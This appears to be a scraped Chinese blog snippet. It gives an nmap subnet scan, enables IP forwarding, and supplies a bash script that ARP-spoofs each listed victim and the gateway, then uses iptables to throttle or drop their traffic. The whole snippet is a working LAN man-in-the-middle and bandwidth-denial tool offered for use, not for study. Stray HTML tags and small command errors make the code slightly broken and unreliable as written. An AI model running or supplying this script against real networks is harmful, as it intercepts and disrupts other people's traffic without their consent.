sudo nmap -ss 網關ip/24

echo 1 > /proc/sys/net/ipv4/ip_forward

#!/bin/bash
if [ $# -le 2 ]
then
echo "Usage: ./iptables.sh speed gateway ip1 ip2 ...."
exit -1
else
speed=$1
gateway=$2
fi
IPT=/sbin/iptables</p><p>while [ $# -gt 2 ]
do
shift
echo $gateway,$2
arpspoof -i eth0 -t $2 $gateway&
arpspoof -i eth0 -t $gateway $2&</p><p> $IPT -A FORWARD -s $2 -m limit --limit ${speed}/s -j accept</p><p> $IPT -A FORWARD -d $2 -m limit --limit ${speed}/s -j ACCEPT</p><p> $IPT -A FORWARD -s $2 -j DROP</p><p> $IPT -A FORWARD -d $2 -j DROP</p><p>done